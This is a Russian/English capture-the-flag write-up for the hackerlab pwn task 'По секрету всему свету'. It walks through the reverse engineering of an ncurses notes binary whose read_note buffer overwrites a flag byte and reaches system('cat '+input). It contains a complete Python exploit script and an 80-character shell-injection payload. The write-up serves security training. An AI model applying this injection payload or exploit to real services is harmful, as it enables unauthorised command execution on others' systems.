По секрету всему свету
По секрету всему свету
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-07 | Status: Solved Techniques: ghidra_decompilation, ncurses_protocol_over_tcp, sfx_archive_unpacking, shell_metacharacter_injection_via_system, stack_variable_overwrite
Summary
Task: WinRAR SFX containing a stripped ELF64 ncurses note-taking app with fake 'NOP encryption' (plaintext storage); read_note() has a buffer overflow where password[79] overwrites an adjacent flag variable. Solution: send 80-char payload ending with '}' to trigger system('cat ' + password), inject shell commands via semicolons to search the filesystem for the flag.
По секрету всему свету — hackerlab
Description
Нам в руки попал файл с серверов Secure Notes Company. Многим уже давно не нравилась их лицензия, поэтому следует изучить, что за шифрование "NOP" там используется.
We receive task.zip containing SNFE.exe — a WinRAR SFX self-extracting archive. Inside is SNFE.elf, a stripped ELF 64-bit ncurses-based "Secure Notes For Everyone" application, and a LICENSE file mentioning the proprietary "NOP" encryption algorithm. A remote instance runs at 62.173.140.174:17900. The goal is to find the flag hidden on the server.
Analysis
Step 1: Unpacking the SFX archive
SNFE.exe is a WinRAR SFX archive. Extracting with 7z x SNFE.exe yields:
SNFE.elf— ELF 64-bit LSB PIE executable, x86-64, dynamically linked (ncurses + libc), strippedLICENSE— License agreement in Russian referencing the "NOP" encryption algorithm
Step 2: Reverse engineering with Ghidra
The binary implements a menu-driven ncurses TUI:
- Create an encrypted note with a password — writes plaintext to a file
- Enter the password and read the encrypted note — reads a file (VULNERABLE)
- Edit the file after entering the password — overwrites a file
- Exit
Key function map
| Offset | Function | Description |
|---|---|---|
| 0x1999 | main | ncurses init, menu loop, srand(time(0)) |
| 0x149d | create_note | Menu 1: generate filename, write note via fputs() |
| 0x1661 | read_note | Menu 2: read note — VULNERABLE |
| 0x1800 | edit_note | Menu 3: edit note |
| 0x1434 | generate_filename | 32 random uppercase letters via rand() % 26 + 'A' |
| 0x15e4 | read_file_with_cat | system("cat " + filename) — DANGEROUS |
| |
"NOP" encryption is literally a NOP
The "NOP" encryption algorithm is a joke — it does nothing. Notes are stored as plaintext via fputs(). The name is a pun on the x86 NOP instruction. The "password" shown to the user is actually the randomly generated filename (32 uppercase letters). Security through obscurity only.
Step 3: The vulnerability — buffer overflow + command injection
The read_note() function at offset 0x1661 has a critical stack layout issue:
Stack layout of read_note():
rbp-0x50: char password[80] ← user input buffer
rbp-0x01: char flag (1 byte) ← overlaps with password[79]!
rbp-0x10: FILE* fp
rbp-0x19060: char readbuf[0x19000]
The bug: wgetnstr(stdscr, password, 0x50) reads up to 80 characters into the 80-byte buffer starting at rbp-0x50. The flag variable at rbp-0x01 is the last byte of the password buffer (password[79]). It is initialized to 0 before wgetnstr, but entering exactly 80 characters overwrites it.
Exploitation path: If password[79] == '}' (0x7d), the check at offset 0x16b9 passes, and the code calls read_file_with_cat(password), which executes:
c read-only • copy allowedsystem("cat " + password);
Since the entire 80-character password string (including shell metacharacters) is concatenated into the system() command, this gives arbitrary command injection.
Pseudocode of the vulnerable function:
c read-only • copy allowedvoid read_note() { char password[80]; // rbp-0x50 char flag = 0; // rbp-0x01 = password[79] printw("Enter the password to access the file: "); wgetnstr(stdscr, password, 0x50); // reads up to 80 chars if (flag == '}') { // 0x7d — triggered by password[79] read_file_with_cat(password); // system("cat " + password) return; } // ... normal file reading path ... }
Step 4: Additional overflow in read_file_with_cat()
c read-only • copy allowedvoid read_file_with_cat(char *filename) { char cmd[50] = "cat "; strncat(cmd, filename, strlen(filename)); // 80 chars into 50-byte buffer! system(cmd); }
The cmd buffer is only 50 bytes, but up to 80 characters of filename are appended (plus 4 bytes of "cat "). This overflows the stack buffer by ~34 bytes, but system() is called before the function returns, so the command injection still executes successfully.
Solution
Crafting the payload
The payload must be exactly 80 characters, with:
- Shell commands using
;as separator #to comment out trailing garbage- Last character (position 79) must be
}to trigger the vulnerable path
/dev/null;grep -rn CODEBY / 2>/dev/null;#AAAA...}
This results in the shell executing:
bash read-only • copy allowedcat /dev/null;grep -rn CODEBY / 2>/dev/null;#AAAA...}
Which breaks down as:
cat /dev/null— reads empty file, succeeds silentlygrep -rn CODEBY / 2>/dev/null— recursively searches the entire filesystem for the flag#AAAA...}— treated as a comment, ignored
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 """ SNFE - Secure Notes For Everyone! - Exploit CTF: hackerlab, Task: po_sekretu Vulnerability: Buffer overflow in read_note() function - password buffer (80 bytes) overlaps with flag variable at last byte - If password[79] == '}' (0x7d), triggers system("cat " + password) - Command injection via shell metacharacters in password """ import socket import time import re HOST = "62.173.140.174" PORT = 17900 def exploit(cmd_str="grep -rn CODEBY / 2>/dev/null"): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((HOST, PORT)) def recv_all(): data = b"" while True: try: chunk = s.recv(4096) if not chunk: break data += chunk except socket.timeout: break return data # Wait for initial ncurses menu time.sleep(2) recv_all() # Navigate to option 2 (Read note) via arrow down s.send(b"\x1b[B") # Arrow Down time.sleep(0.5) recv_all() # Select option 2 s.send(b"\n") time.sleep(1) recv_all() # Build 80-char payload: /dev/null;<cmd>;#<padding>} prefix = "/dev/null;" + cmd_str + ";#" padding_len = 80 - len(prefix) - 1 # -1 for trailing '}' assert padding_len >= 0, f"Command too long! Need {len(prefix)+1} chars, max 80" payload = prefix + "A" * padding_len + "}" assert len(payload) == 80 print(f"[*] Sending payload ({len(payload)} chars): {payload}") s.send(payload.encode() + b"\n") # Collect output time.sleep(3) result = recv_all() time.sleep(2) more = recv_all() result += more # Strip ANSI escape sequences for clean output clean = re.sub(rb"\x1b\[[^a-zA-Z]*[a-zA-Z]", b"", result) clean = re.sub(rb"\x1b[^a-zA-Z]", b"", clean) print(clean.decode("utf-8", errors="replace")) s.close() if __name__ == "__main__": exploit()
Result
The grep command found the flag at /tmp/.root_backup/.root_lock:
My password: CODEBY{REDACTED}